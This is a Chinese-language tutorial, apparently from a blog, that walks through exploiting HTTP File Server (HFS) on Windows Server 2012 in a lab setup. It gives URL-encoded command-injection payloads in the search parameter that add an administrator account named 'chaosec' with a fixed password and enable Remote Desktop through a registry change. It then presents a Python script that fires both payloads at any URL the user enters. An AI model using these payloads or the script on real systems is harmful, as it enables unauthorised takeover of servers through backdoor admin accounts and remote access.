python---hfs poc

环境准备

window server 2012 （被攻击的机器）

ip 192.168.0.x

存在hfs服务

win 10 （攻击机器）

ip 192.168.0.y

攻击者环境：Python3 requests库

环境部署

window server 2012 上面需要进行安装hfs

 

部署好之后，我们在物理机上进行访问的时候，他会有请求的信息

 

攻击机上访问

发现成功访问

 

 

漏洞利用：

添加用户：exp

/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20chaosec%20ZXCzxc123%20/add%20%26%20net%20localgroup%20administrators%20chaosec%20/add.%7D

 

?search==%00{.exec|cmd.exe /c net user chaosec ZXCzxc123 /add %26 net localgroup administrators chaosec /add.}

两个相同

创建的用户不同

 

发现创建成功

 

远程桌面端口开启exp

/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D

 

netstat -ano|findstr 3389

 

发现开启成功

脚本开发思路

1. 接受输入的漏洞地址

2. 组合漏洞地址并请求

3. 判断漏洞是否利用成功

4. 将利用成功的进行打印

 

 

 

解决安装request库的问题

首先安装pip这个不再演示

在终端命令行中安装request库文件

python38 -m pip install requests

注意：要给python3.8安装这个库

 

安装完成之后重启pycharm

 

进行编写poc就可以了

验证之前，要把上一步验证的全部都删除或者关闭

 

import requests ##调用requests库 url = input("请输入你要利用的漏洞地址：") ##输入要利用的漏洞url user_add = "?search==%00{.exec|cmd.exe /c net user chaosec ZXCzxc123 /add %26 net localgroup administrators chaosec /add.}" ##添加用户的exp open_3389 = "/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D"##开启端口的exp url_uadd=url+user_add ##将地址和exp合并 url_open3389=url+open_3389 ##同上 def useradd():    ##添加用户函数     code = requests.get(url_uadd).status_code     if code == 200:         print("添加用户成功")     else:         print("添加用户失败") def opne3389():    ##打开端口的函数     code = requests.get(url_open3389).status_code     if code == 200:         print("打开端口成功")     else:         print("打开端口失败") useradd() ##调用函数 opne3389()

 

 

利用完成之后

再去靶机上面验证，发现成功